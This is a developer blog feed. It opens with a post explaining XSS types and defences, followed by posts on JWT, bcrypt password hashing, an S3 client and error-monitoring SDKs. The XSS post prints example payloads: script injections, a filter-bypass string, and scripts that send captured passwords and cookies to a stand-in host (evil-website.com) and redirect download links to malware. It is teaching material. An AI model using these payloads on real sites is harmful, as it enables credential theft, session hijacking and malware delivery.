DEV Community: Kyle Mistele

XSS: What it is, how it works, and how to prevent it

Kyle Mistele — Mon, 18 Jan 2021 16:22:02 +0000

If you're a developer, chances are that you've heard of cross-site scripting. Cross-site scripting, commonly known as XSS, is one of the top 10 most common web security vulnerabilities according to OWASP. Cross-site scripting continues to be a major problem in many web applications, and it can result in some serious problems. As a developer, it's important to know what XSS is and to be aware of it, but it's even more important to know how to prevent it. Cybersecurity isn't just for security specialists, it's for everyone.

Today, I'm going to give you an introduction to XSS. Specifically, I'm going to cover:

What XSS is, and the 3 types of XSS
Why XSS matters
How to prevent XSS in your web applications

What is XSS?

Cross-site scripting occurs when attackers or malicious users can manipulate a web site or web application to return malicious JavaScript to users. When this malicious JavaScript is executed in the user's browser, all of the user's interactions with the site (including but not limited to authentication and payment) can be compromised by the attacker.

There are 3 primary types of cross-site scripting:

DOM-based XSS

This type of XSS occurs when user input is manipulated in an unsafe way in the DOM (Document Object Map) by JavaScript. For example, this can occur if you were to read a value from a form, and then use JavaScript to write it back out to the DOM. If an attacker can control the input to that form, then they can control the script that will be executed. Common sources of DOM-based XSS include the eval() function and the innerHTML attribute, and attacks are commonly executed through the URL. PortSwigger has a great article on this. I've included an example below:

const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;

To exploit this vulnerability, you could insert a malicious script into the input that would be executed:

<script>window.alert("Cross site scripting has occurred!");</script>

Reflected XSS

Reflected XSS is similar to DOM-based XSS: it occurs when the web server receives an HTTP request, and "reflects" information from the request back into the response in an unsafe manner. An example would be where the server will place the requested application route or URL in the page that is served back to the user. An attacker can construct a URL with a malicious route that contains JavaScript, such that if a user visits the link, the script will execute.

Malicious URLs containing cross-site scripting are commonly used as social engineering helpers in phishing emails or malicious links online.

Here's an example - given a route that will 404,

GET https://example.com/route/that/will/404

a vulnerable server might generate the response like so:

<h1>404</h1>
<p> Error: route "/route/that/will/404 was not found on the server</p>

An attacker could exploit this by constructing a URL like this:

https://example.com//route/that/will/404/<script>alert('XSS!');

When the user loads the page, the URL will be templated into the page, the script tags will be interpreted as HTML, and the malicious script will execute. PortSwigger has a great article on this as well.

Stored XSS

Stored XSS occurs when user-created data is stored in a database or other persistent storage, and is then loaded into a page. Common examples of types of applications that do this include forums, comment plugins, and similar applications. Stored XSS is particularly dangerous when the stored content is displayed to many or all users of the application, because then one user can compromise the site for any user that visits it, without requiring that they click on a specific link.

For example, suppose that a forum thread's posts are stored in a database, and that they're loaded whenever someone visits the thread and displayed. A malicious user could leave a comment that contains malicious JavaScript between <script></script> tags in their post, and then the script would execute in the browser of any user that visits the page.

For example, their post in the threat might look something like this:

This is some text replying to the thread <script>alert('XSS');</script>

Why does Cross-site scripting matter?

This is all well and good, you might think, but what does it matter? So what if someone can make an alert() bubble pop up on my webpage? That's a fair question - most XSS examples, including the ones I provided above, use alert() as a proof-of-concept. However, cross-site scripting is by no means limited to alert() bubbles - an attacker could execute any malicious JavaScript they wanted to. Let's think about a few scenarios.

Scenario 1: Stealing credentials from a login page

Suppose that an attacker has discovered a cross-site scripting vulnerability in a login page on a website. They could inject JavaScript to add an event listener to the form, such that whenever it is submitted it captures the username and password of the user that's trying to log in and sends them to a server controlled by the attacker:

// add an event listener to the form 
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {

  // capture the username and password from the form
  const username = document.getElementById('username_input').value;
  const password = document.getElementById('password_input').value;

  // send the username and password to the attacker
  fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
}, false);

Scenario 2: Hijacking sessions from a forum

Suppose that our attacker has discovered a stored XSS vulnerability in a forum page. For the sake of this example, the forum is storing session without the HttpOnly attribute (more on that here).

The attacker could inject a script to grab the session cookie of anyone that is logged in to the forum that views the thread, and could impersonate their user on the forum or the site at large:

// capture the cookies
const cookie = document.cookie;

// send the cookies to the attacker
fetch(`https://evil-website.com/cookie-capture`, {
  data: cookie
});

Scenario 3: Compromising a downloads page to install malware

Suppose that the attacker has compromised the download page of a website with a cross-site scripting attack. They could use a XSS payload to modify the download links, so that instead of attempting to download the intended software, they point to malicious software hosted on the attacker's server. When users load the page and attempt to download the intended softare, they are served malware from the attacker's server:

// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');

// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
  link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}

Still not convinced?

The possible applications of XSS attacks are numerous - aside from stealing credentials, hijacking sessions, and modifying links, XSS can be used to modify the page at will, it can be used to impersonate the victim user, and it can be used to perform any action that the victim is allowed to do on the site.

Famously, or perhaps infamously, cross-site scripting vulnerabilities were exploited in a type of attack known as magecart attacks to steal users' credit card information from online payment forms.

Preventing XSS Attacks

XSS vulnerabilities are incredibly easy to create by accident. To prevent them, you need to put in place good coding practices, code review processes, and multiple layers of defense. The easiest way to prevent XSS would be to never allow users to supply data that's rendered into the page, but the fact is that this isn't a practical answer, since most applications store and manipulate user input in some form. Unfortunately, there is no one single foolproof way to prevent XSS. Therefore, it is important to have multiple layers of defense against cross-site scripting.

Validate and Sanitize User-supplied Data

User data should be validated on the front end of sites for correctness (e.g. email and phone number formatting), but it should also always be validated and sanitized on the backend for security. Depending on the application, you may be able to whitelist alphanumeric characters, and blacklist all other characters. However, this solution is not foolproof. It may help mitigate attacks, but it cannot prevent them entirely.

HTML Encoding

Any time that you are rendering user-provided data into the body of the document (e.g. with the innerHTML attribute in JavaScript), you should HTML encode the data. However, this may not always prevent XSS if you are placing user-provided data in HTML tag attributes, and is not effective against placing untrusted data inside of a <script></script> tag. If you decide to place user-provided data in HTML tag attributes, ensure that you are always using quotes around your attributes.

Use A Security Encoding Library

For many languages and frameworks, there are security encoding libraries that can help prevent XSS. For example, OWASP has one such library for Java. You should consider using a similar library for your web projects.

Use a Web Application Firewall

It may seem like overkill, but there are web application firewalls designed to specifically prevent common web attacks such as XSS and SQL Injection. Using a web application firewall (WAF) is not necessary for most applications, but for applications that require strong security, they can be a great resource. One such WAF is ModSecurity, which is available for Apache, Nginx, and IIS. Check out their wiki for more information.

Other resources

OWASP and PortSwigger both have excellent guides on preventing cross-site scripting attacks:

How not to prevent XSS attacks

There are lots of great ways to mitigate and prevent XSS attacks, but there are also lots of really bad ways to try and prevent it. Here are some common ways that people try to prevent XSS that are unlikely to be successful:

searching for < and > characters in user-supplied data
searching for <script></script> tags in user-supplied data
using regexes to try and filter out script tags or other common XSS injections

In reality, XSS payloads can be extremely complicated, and can also be extremely obfuscated. Here's an example:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Cybercriminals often have extremely robust tools that can be used to attempt to bypass filters by obfuscating their XSS payloads. A homebrew regex is probably not going to cut it.

Conclusion

Key takeaways:

There are 3 types of XSS: Reflected, DOM-based, and stored
XSS can be exploited to execute arbitrary JavaScript in a users's web browser
XSS attacks can be used to steal authentication information, hijack sessions, steal sensitive data, and deface websites.
Prevent XSS by sanitizing user data on the backend, HTML-encode user-provided data that's rendered into the template, and use a security encoding library or WAF.

I hope you find this useful! Let me know what you think in the comments below.

If you're writing code for cloud applications, you need to know when things go wrong. I helped build CodeLighthouse to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at codelighthouse.io today!

Demystifying JWT: How to secure your next web app

Kyle Mistele — Tue, 05 Jan 2021 17:13:25 +0000

How are you securing your web applications? Are you using session cookies? Third party-based authentication? SAML? Today I’m going to introduce you to a neat standard called JSON Web Tokens, or JWT for short. If you’re worked on web applications, there’s a good chance you’ve at least heard of them, but today I’m going to try to de-mystify them for you.

If you’re interested in getting into all the nitty-gritty details, you can read the RFC, but that’s not the goal of this article. Instead, I’m going to:

Give you a high-level overview of what JWT is
Go a little more in-depth about how JWT works and why it’s great
Cover some common JWT security pitfalls

What is JWT?

JSON Web Token (JWT) is an open standard for creating and transmitting data. It provides a way to cryptographically sign a JSON payload to verify its authenticity and integrity, and/or to encrypt the JSON payload to provide confidentiality. Note that you might sometimes hear cryptographic signatures referred to as digital signatures — they’re two names for the same thing.

A JWT is a cryptographically signed token

For the purposes of this article, we’ll be discussing cryptographically signed tokens. Cryptographically signed tokens are issued by the server to a user, and can then be presented by the user back to the server to prove that the user is authorized to perform an action. There are two primary advantages to this cryptographic signature:

Since only the server knows the secret key, only the server can issue valid tokens.
It is impossible to modify or tamper with the token and its JSON payload without detection because of the properties of cryptographic signatures. (Want to know how that works? More on that here.

These properties make JWTs a great mechanism for authorization: when a user logs in with their username and password, you can issue them a token that contains identifying information such as their User ID, their permission/access level, and other attributes that might be useful.

Then when the user tries and access application routes or functions, they present this token to the server, and the server can read these properties from the token. Once the application ensures that the token is valid (tokens can be configured to expire) and hasn’t been tampered with, you can make authorization decisions based on the information in the token.

Token structure: the 3 parts of a JWT

A signed JSON Web Token has 3 main parts: the header, the JSON payload, and the signature.

The header contains JSON identifying the encryption algorithm used to generate the cryptographic signature, and can also contain other information such as token type, and x.509 certificate chain information if you’re using it.
The payload is a JSON object. The data which it contains is known as the claims. The JWT standard defines seven standard claims. You can think of these as “reserved” claims in the same way that some keywords in most programming languages are reserved to mean certain things and can’t be used for other variable names (examples that come to mind include class if, else, and so forth). These standard claims can store information about the user's identity, expiration information, the issuer, and more. You can also add additional claims to the token at will. I'll cover this more in the subsection below.
The signature, which is calculated by encoding the header and payload with base64, concatenating them together with a ., and then encrypting this string using the server's private key. To verify a token, the server will repeat this process for the header and payload of the token that it received, and then compare the result to the token's signature block. If the token has been tampered with, the two will not match.

To form the token from these parts, each part is base64 encoded, and the parts are concatenated together with dots. Below is an example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI

JWT Claims - storing information in JWT tokens

The JWT’s claims are defined in the token’s payload. They can store useful information about the token, the issuer, the user it has been issued to, as well as other optional information.

For example, when a user logs in, the server checks if they have admin permissions, and then issues the user a token that contains their user ID and says whether they have admin permissions:

{
  "iat": 1609781109,
  "nbf": 1609781109,
  "jti": "0c2df7d5-f940-409a-b8b5-b3c6f9f1ef1e",
  "exp": 1609784709,
  "identity": "964403f4-444a-428a-88a0-15da8cdaf17c",
  "fresh": false,
  "type": "access",
  "user_claims": {
    "email": "example@example.com",
    "real_name": "John Doe",
    "customer_acct": "Some Organization LLC",
    "is_admin": true
  }
}

In this case, identity is a GUID that is the user's identifier. The iat, nb, exp, and jti fields are all standard claims. user_claims is a claim I've added to store additional information about the user.

When the user attempts to perform an action, the server can check the token sent with the user's request, and can use these claims to see if the user is authorized to perform that action.

Benefits of using JWT in your application

Using JSON Web Tokens has a lot of advantages:

The web runs on JavaScript, so JSON is a great choice for storing authentication information. But JWT isn’t limited to JavaScript applications — everything from PHP to Python to Go can consume JSON. It’s flexible and easy to use.
JWT Claims allow you to easily store additional information about users that you can access within your application without doing database lookups.
Tokens are small and URL-safe. They can be stored as cookies, in local storage, or in session storage.
Most common web frameworks have libraries for JWT that do all the hard work for you. (I’ll include links to some of these at the bottom of this article).

Common JWT Security pitfalls

Like any security mechanism, JWT has some common pitfalls. They aren’t hard to avoid, but you do need to know what they are in order to avoid them:

JWT is for authorization, not authentication

JWT is a mechanism for authorization, not authentication. The distinction is important: authentication is ensuring that a user is who they say they are. Authorization is determining if a user is authorized (allowed) to perform an action, usually after authentication has already occurred.

Before you issue a JWT token to a user, you should authenticate them — this is usually done with a username and password. (If you want to learn more about that, check out my article on password hashing). Once the user has authenticated (i.e. their username and password have been verified), then you issue them a token that they can use for authorization purposes in subsequent requests to your application.

Make sure your key is secure

If you’re following along in a demo, they’ll commonly have an example key with the example code. Do not copy their key — generate your own instead. Don’t use a short word or phrase — it should be a long, random key.

Don't hard-code your secret key into your application

In order to sign tokens, your server needs to have a secret key that it users. Depending on the JWT framework you use for your language, you may specify this in one of a number of ways. It’s important to not hard-code your key into your application. Hard-coding the key will result in the key being committed to your version control. (This is especially bad if your project is public!) Anyone that has the key can create tokens, so it’s important to keep it a secret. I recommend using environment variables or some sort of secrets manager.

Storing tokens in cookies? Do so securely.

Make sure to set the secure and HttpOnly attributes on your JWT cookies. The secure attribute will ensure that the browser only sends the token over an encrypted (https) connection to prevent the cookie from being intercepted.

The HttpOnly attribute will ensure that the cookie can't be accessed via JavaScript, which will help mitigate Cross-Site Scripting (XSS) attacks.

You can find more info on this here.

Conclusion

Key takeaways:

JWT is an open standard that can be used for authorization once your users have authenticated.
JWT tokens cannot be forged or modified (without detection), without knowing the secret key.
JWT allows you to store JSON data (“claims”) in tokens that can be used for authorization or other purposes
JWT is easy to use, and there are lots of great frameworks for implementing it in your applications
Ensure that your application manages the secret key and JWT tokens in a secure manner

I hope you find this useful! Let me know what you think in the comments below.

If you’re writing code for cloud applications, you need to go when things go wrong. I helped build CodeLighthouse to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at codelighthouse.io today!

Footnote

As promised, here are a few links to JWT libraries for Python/Flask, Node.js/Express, and PHP:

Flask-jwt-extended: a highly robust module for Python’s Flask framework that I thoroughly enjoy using.

Express-jwt: a great package that seamlessly integrates into Node.js Express apps. I highly recommend it if you’re building with Node.js and Express.

php-jwt: a high-quality JWT library for PHP maintained by Firebase.

How to securely hash and store passwords in your next application

Kyle Mistele — Sun, 27 Dec 2020 16:36:35 +0000

Are you hashing your user's passwords? More importantly, are you doing it correctly? There's a lot of information out there on password hashing, and there are certainly more than a few different hash algorithms available for you to use.

As a full-stack engineer, I've spent plenty of time building password-based authentication mechanisms. As an ethical hacker, I've spent plenty of time trying to break those mechanisms and crack password hashes.

In this article, I'm going to provide a brief overview of secure password hashing and storage, and then I'm going to show you how to securely hash your passwords for your next application.

Overview

Password hashing: a 30-second summary

There's been a lot written about what a hash algorithm is, so I won't waste your time reiterating all of it. In short, a hash algorithm is a one-way "trapdoor" function. Let's call the hash function H. Given some data d, it's trivial to compute H(d). But given only the hash H(d), it's nearly impossible to compute d. It's also important to note that even a one-byte difference in d will result in a completely different hash H(d).

Instead of storing passwords in "plaintext" (i.e. storing passwords directly in our database), it is more secure to hash passwords before storing them in the database. Given a password p, we compute H(p), and store that value in the database. When a user tries to log in, we hash the password that the user tried to log in with, and compare it to the hash in the database. If the two match, then the password is valid, and we log the user in. If they don't, then the user provided the wrong password.

Why do we do this? It protects passwords from hackers, lazy or mal-intentioned system administrators, and data leaks. If the database is leaked or hacked, then hackers can't easily determine what all of the user's passwords are simply by looking at them. This is even more important considering that many people use the same or similar passwords for most of their accounts. Without password hashing, one account being hacked could lead to all of a user's accounts across multiple services being compromised.

A brief example

Below I've provided some python pseudo-code to give you an idea of what your login function might look like using password hashing.

def login(username, password):
    user = Users.get(username) # fetch the user record from the database

    # if no user matches the username, don't log them in
    if not user:  
        return False

    # hash the supplied password
    supplied_hash = some_hash_function(password)

    # see if that hash matches the user's hash
    if supplied_hash == user.password_hash:
        return True
    else:  
        return False

The above code is a little simplified, since it'll depend on how you're storing and retrieving users from your database. In this example, I also didn't touch on the actual hash function you should use, so let's dig into the details a little more.

Hash Functions

There are a myriad of hash functions out there, and many offer different advantages. For example, some hash functions are fast, and others are slow. Fast hashing algorithms are great for building data structures like hash tables, but we want to use slow hash functions for password hashing since slow hash functions make brute force attacks more difficult. Let's look at a few common hash functions.

Some common hash functions

Hash Function	Description
MD5	Was commonly used for password hashing, but now considered insecure for cryptographic purposes due to some vulnerabilities that were discovered in it
SHA-1	Originally designed by the NSA for various purposes, now considered deprecated and insecure
SHA-3	Better than SHA-1, considered both safe and flexible
NTLM	Commonly used in Windows active directory, but easy to crack. Use NTLMv2 instead.
Bcrypt	A slow hash function that is resistant to brute-force cracks. Commonly used in some Linux distributions. Considered very secure.
Argon2	A complicated but extremely secure hash function, resistant to brute force attacks. Can be difficult to implement.

What on earth is a salt?

A "salt" is a random piece of data that is often added to the data you want to hash before you actually hash it. Adding a salt to your data before hashing it will make the output of the hash function different than it would be if you had only hashed the data.

When a user sets their password (often on signing up), a random salt should be generated and used to compute the password hash. The salt should then be stored with the password hash. When the user tries to log in, combine the salt with the supplied password, hash the combination of the two, and compare it to the hash in the database.

Why should you use a salt?

Without going into too much detail, hackers commonly use rainbow table attacks, dictionary attacks, and brute-force attacks to try and crack password hashes. While hackers can't compute the original password given only a hash, they can take a long list of possible passwords and compute hashes for them to try and match them with the passwords in the database. This is effectively how these types of attacks work, although each of the above works somewhat differently.

A salt makes it much more difficult for hackers to perform these types of attacks. Depending on the hash function, salted hashes take nearly exponentially more time to crack than unsalted ones. They also make rainbow table attacks nearly impossible. It's therefore important to always use salts in your hashes.

Which hash function should you use?

Lots of people will tell you that there's no "right" or "wrong" answer to this question, only trade-offs. That's true, but some hash functions make better trade-offs than others.

Personally, I'm a big fan of Bcrypt and Argon2 because both are extremely secure, both require salts, and both are slow (which as we discussed above, is a property we want for password hashing functions). Argon2 is a lot more complicated than Bcrypt, and can be more difficult to implement. Bcrypt is also a lot more common and more languages have libraries for it, so it's what I tend to use. I recommend that you use one of these two as well.

Putting it all together

Below, I have provided two examples on how to implement everything that we've discussed today. The first example is pseudo-code, and the second one is in Python.

Password hash authentication pseudo-code

Most common languages should provide a bcrypt module or package, but the interface to it will invariably look different, so I've tried to be as language-agnostic as possible.

# should be called when a user signs up or changes their password
function calculate_hash(password) 
    salt = random_bytes(14) # or any other length
    hash = bcrypt_hash(password, salt)

    # store this with the user in your database
    return hash 

# called whenever a user tries to login
function login_user(username, password) 
    user = get_user_from_database(username)

    # bcrypt stores the salt with the hash, your library should manage this for you
    salt = get_salt(user.hash) 
    new_hash = bcrypt_hash(password, salt)
    if new_hash == user.hash
        login_user()
    else 
        dont_login_user()

Note that your salt should be at least 8 bytes long, but longer is more secure.

Password hash authentication Python code

Python provides a bcrypt module that can be installed with Pip, and I'm going to use that for this example. The bcrypt module handles the computation behind the scenes for you, so it's super easy to use:

import bcrypt

# this will create the hash that you need to store in your database
def create_bcrypt_hash(password):
    # convert the string to bytes
    password_bytes = password.encode()      
    # generate a salt
    salt = bcrypt.gensalt(14)               
    # calculate a hash as bytes
    password_hash_bytes = bcrypt.hashpw(password_bytes, salt)   
    # decode bytes to a string
    password_hash_str = password_hash_bytes.decode()            


    # the password hash string should similar to:
    # $2b$10$//DXiVVE59p7G5k/4Klx/ezF7BI42QZKmoOD0NDvUuqxRE5bFFBLy
    return password_hash_str        

# this will return true if the user supplied a valid password and 
# should be logged in, otherwise false
def verify_password(password, hash_from_database):
    password_bytes = password.encode()
    hash_bytes = hash_from_database.encode()

    # this will automatically retrieve the salt from the hash, 
    # then combine it with the password (parameter 1)
    # and then hash that, and compare it to the user's hash
    does_match = bcrypt.checkpw(password_bytes, hash_bytes)

    return does_match

Conclusion

Key takeaways:

Always store your passwords as hashes, and never as plain text.
Use a salt for extra security.
Use Bcrypt or Argon2 for your hash function

I hope you find this article useful! Let me know what you think in the comments below.

If you're writing code for cloud applications, you need to go when things go wrong. I helped buildCodeLighthouse to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at codelighthouse.io today!

Botocore is awful, so I wrote a better Python client for AWS S3

Kyle Mistele — Tue, 22 Dec 2020 22:12:15 +0000

If you've ever been unfortunate enough to have had to work with botocore, Amazon Web Services' Python API, you know that it's awful. There are dozens of ways to accomplish any given task, and the differences between each are unclear at best. I recently found myself working with botocore while trying to build some S3 functionality into codelighthouse, and I got really frustrated with it, really quickly.

AWS S3 (Simple Storage Service) is not complicated - it's object storage. You can GET, PUT, DELETE, and COPY objects, with a few other functionalities. Simple, right? Yet for some reason, if you were to print botocore's documentation for the S3 service, you'd come out to about 525 printed pages.

I chose to use to the Object API, which is the highest-level API provided by the S3 resource in botocore, and it was still a headache. For example, the Object API doesn't throw different types of exceptions - it throws one type of exception, which has numerous properties that you have to programatically analyze to determine what actually went wrong.

There are a few open-source packages out there already, but I found that most of them left a lot to be desired - some had you writing XML, and others were just more complicated than they needed to be.

To save myself from going mad trying to decipher the docs, I wrote a custom high-level driver that consumes that low-level botocore API to perform most basic botocore functionalities.

To save other developers from the same fate I narrowly avoided, I open-sourced the code and published it on PyPi so you can easily use it in all of your projects.

Let's Get Started

Installing my custom AWS S3 Client

Since my client code is hosted via PyPi, it's super easy to install:

pip install s3-bucket

Configuring the S3 Client

To access your S3 buckets, you're going to need an AWS secret access key ID, and the AWS secret access key. I wrote a method that you can pass these to in order to configure the client so that you can use your buckets. I strongly suggest not hard-coding these values in your code, since doing so can create security vulnerabilities and is bad practice. Instead, I recommend storing them in environment variables and using the os module to fetch them:

import s3_bucket as S3
import os

# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')

# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)

Using the S3 Client

I designed the S3 Client's API to be logically similar to how AWS structures S3 buckets. Instead of messing around with botocore's Client, Resource, Session, and Object APIs, there is one, simple API: the Bucket API.

The Bucket API

The Bucket API is simple and provides most of the basic methods you'd want to use for an S3 bucket. Once you've initialized the S3 client with the keys as described in the previous section, you can initialize a Bucket object by passing it a bucket name:

bucket = S3.Bucket('your bucket name')

#example
bucket = S3.Bucket('my-website-data')

Once you've done that, it's smooth sailing - you can use any of the following methods:

Method	Description
`bucket.get(key)`	returns a two-tuple containing the `bytes` of the object and a `Dict` containing the object's metadata
`bucket.put(key, data, metadata=metadata)`	upload `data` as an object with `key` as the object's key. `data` can be either a `str` type or a `bytes` type. `metadata` is an optional argument that should be a `Dict` containing metadata to store with the object.
`bucket.delete(key)`	delete the object in the bucket specified by `key`
`bucket.upload_file(local_filepath, key)`	Upload the file specified by `local_filepath` to the bucket with `key` as the object's key.
`bucket.download_file(key, local_filepath)`	Download the object specified by `key` from the bucket and store it in the local file `local_filepath`.

Custom Exceptions

As I mentioned earlier, the way that botocore raises exceptions is somewhat arcane. Instead of raising different types of exceptions to indicate different types of problems, it throws one type of exception that contains properties that you must use to determine what went wrong. It's really obtuse, and a bad design pattern.

Instead of relying on your client code to decipher botocore's exceptions, I wrote custom exception classes that you can use to handle most common types of S3 errors.

Exception	Cause	Properties
`BucketException`	The `super` class for all other Bucket exceptions. Can be used to generically catch exceptions raised by the API.	`bucket`, `message`
`NoSuchBucket`	Raised if you try to access a bucket that does not exist.	`bucket`, `key`, `message`
`NoSuchKey`	Raised if you try to access an object that does not exist within an existing bucket.	`bucket`, `key`, `message`
`BucketAccessDenied`	AWS denied access to the bucket you tried to access. It may not exist, or you may not have permission to access it.	`bucket`, `message`
`UnknownBucketException`	Botocore threw an exception which this client was not programmed to handle.	`bucket`, `error_code`, `error_message`

To use these exceptions, you can do the following:

try:
    bucket = S3.Bucket('my-bucket-name') 
    data, metadata = bucket.get('some key')
except S3.Exceptions.NoSuchBucket as e:
    # some error handling here
    pass

Examples

Below I've provided an example of a couple of use cases for the S3 client.

Uploading and downloading files

This example shows how to upload and download files to/from your S3 bucket

import s3_bucket as S3
import os

# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')

# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)

# initialize a bucket
my_bucket = S3.Bucket('my-bucket')

# UPLOAD A FILE
my_bucket.upload_file('/tmp/file_to_upload.txt', 'myfile.txt')
my_bucket.download_file('myfile.txt', '/tmp/destination_filename.txt')

Storing and retrieving large blobs of text

The reason that I originally built this client was to handle storing and retrieving large blobs of JSON data that were way to big to store in my database. The below example shows you how to do that.

import s3_bucket as S3
import os

# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')

# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)

# initialize a bucket
my_bucket = S3.bucket('my-bucket')

# some json string
my_json_str = "{'a': 1, 'b': 2}" # an example json string

my_bucket.put('json_data_1', my_json_str)

data, metadata = my_bucket.get('json_data_1')

Conclusion

I hope that you find this as useful as I did! Let me know what you think in the comments below.

If you're writing code for cloud applications, you need to go when things go wrong. I built CodeLighthouse to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at codelighthouse.io today!

Set up real-time error notifications for your python applications in 15 minutes or less

Kyle Mistele — Wed, 16 Dec 2020 15:24:33 +0000

What happens when things go bump in the night?

What happens when your cloud-based python application runs into an error that affects your users? Do you get notified? If you want your users to stay your users and not become your competitor's users, it's crucial to have a monitoring and notification system in place. Today I'm going to show you how to set up a solution for just that in 15 minutes or less.

Cloud technologies have plenty of advantages, but they have plenty of disadvantages too. One particular issue that I have spent more time on than I care to admit is hunting down errors. The distributed and decentralized nature of today's cloud-based applications can make identifying errors hard, and finding the root cause even harder.

A friend and I were using python with serverless tech to build microservices, and I frequently found myself having to dig through a dozen different logs before I could figure out where the error actually happened—if I even noticed that it had happened at all.

That's why we built codelighthouse.io - to help developers find and fix errors faster.

Today I'm going to show you how you can use codelighthouse.io to get real-time application error notifications sent straight to developers.

Getting Started

CodeLighthouse works by plugging a Python SDK into your code that automatically catches uncaught exceptions. The SDK also provides some other neat functionalities that I'll review more in-depth.

Installing the CodeLighthouse SDK

Our SDK is hosted on PyPi, and you can find detailed documentation on our docs site.

Installing the SDK with Pip couldn't be easier:

pip install codelighthouse

If you're using Pip for your dependency management, you'll probably also want to add our package to your requirements.txt file:

pip freeze > requirements.txt

Getting your API Key

To get started with the SDK, you'll need to sign up for a free account at codelighthouse.io. Once you sign up, you'll be redirected to your admin dashboard where you can find the organization name you signed up with and your API key:

Go ahead and note both of these down. We recommend copying/pasting the API key straight from the admin panel to avoid typing errors, and we provided a handy link right below it to do exactly that.

Configuring the SDK

Importing and configuring the SDK is super easy:

# IMPORT CODELIGHTHOUSE
from codelighthouse import CodeLighthouse

# INSTANTIATE THE ERROR CATCHER
lighthouse = CodeLighthouse(
    organization_name="your organization name",
    x_api_key="your API Key",
    default_email="the email you signed up with",
    resource_group="serverless-applications",
    resource_name="notifications-app"
)

Note that your organization_name and x_api_key are the values you copied down earlier. You can find them in your admin panel here.

The default_email should be the email address you signed up with.

Inviting Users

We designed CodeLighthouse with the complexity of distributed agile teams in mind, so collaboration is a key design feature. You can invite additional users to your CodeLighthouse organization via the user management page. Once they accept the invitation, you can choose to send the error notifications from the application to them by specifying their email address in default_email instead. Users in your organization can log in and configure their notification settings and view errors in the error feed.

Once you've got the SDK imported into your code, you have a couple of options on how to use it:

The Global Exception Handler

By default, CodeLighthouse will automatically catch all uncaught exceptions and unhandled promise rejections. Application error notifications will be sent to the user specified by the default_email configuration option. This can be you, or another user in your CodeLighthouse organization.

The global exception handler can be disabled by passing the keyword argument send_uncaught_exceptions=False to the CodeLighthouse configuration.

It's important to note that this might not always behave as expected if you're using frameworks like Flask since they often implicitly provide their own error handlers. For example, Flask will catch exceptions inside of routes and handle them before they reach our global exception handler. Fortunately, we have a solution.

The Error Catcher Decorator

You can use the error catcher decorator to mark function owners that should receive notifications for errors within individual functions or application routes. In the decorator, specify the email address of the user in your organization who should receive the notification.

# make sure you've imported and configured the SDK!
@lighthouse.error_catcher(email="alice@codelighthouse.io")
def some_function():
  do_some_thing()
  print("Did something!")

From the docs:

Note that the CodeLighthouse decorator must be inside of decorators used for web framework routing (Flask, Pyramid, etc.). Alternatively, using app.add_url_rule() instead of the @app.route() decorator will work for Flask apps and blueprints.

Sending Errors Manually

Of course, we anticipate that many developers will already be performing exception handling in their code, but may want to send & receive notifications for those handled exceptions anyways. Our SDK provides an easy way for you to do this as well:

# make sure you've imported and configured the SDK!
def some_function():
    try:
        call_a_broken_function()
    except NameError as e:
        lighthouse.error(e, email="bob@codelighthouse.io")

As the example demonstrates, you can either send notifications to the default user specified in the SDK configuration, or to another user in your CodeLighthouse organization. You can view and invite additional users to your CodeLighthouse organization on the user management page in your dashboard.

Still want to know more?

Do you have any questions? Are you looking for tech support, support for another language, or a plan tailored specifically to your organization's needs? Check out our documentation page, reach out to us at hello@codelighthouse.io, or visit our contact page!

I look forward to hearing what y'all think in the comments below!

Set up real-time error notifications for your Node.js applications in 15 minutes or less

Kyle Mistele — Tue, 15 Dec 2020 15:52:20 +0000

What happens when things go bump in the night?

What happens when your cloud-based Node.js applications run into errors that affect your users? Do you get notified? If you want your users to stay your users and not become your competitor's customers, it's crucial to have a monitoring and notification system in place. Today I'm going to show you how to set up a solution for just that in 15 minutes or less.

Cloud applications and technologies are great and afford plenty of advantages, but they have plenty of downsides too—gaining visibility into them can be difficult. I've spent endless hours hunting down errors in these types of environments, and it's not fun. I frequently found myself having to dig through dozens of logs before I could identify errors successfully—if I even detected them at all.

That's why a friend and I built codelighthouse.io—to help developers find and fix errors faster.

Today I'm going to show you how you can use codelighthouse.io to get real-time application error notifications sent straight to developers.

Getting Started

CodeLighthouse works by plugging a Node.js SDK into your code that automatically catches uncaught exceptions and unhandled promise rejections. The SDK also provides some other neat functionalities that I'll review more in-depth.

Installing the CodeLighthouse Node.js SDK

Adding our Node.js SDK to your project with NPM couldn't be easier:

npm install codelighthouse

Getting your API Key

Go ahead and note both of these down. We recommend copying/pasting the API key straight from the admin panel to avoid typing errors, and we provide a handy link right below it to do exactly that.

Configuring the SDK

Importing and configuring the SDK is super easy:

Note that your organization_name and api_key are the values you copied down earlier. You can find them in your admin panel here.

The default_email should be the email address you signed up with.

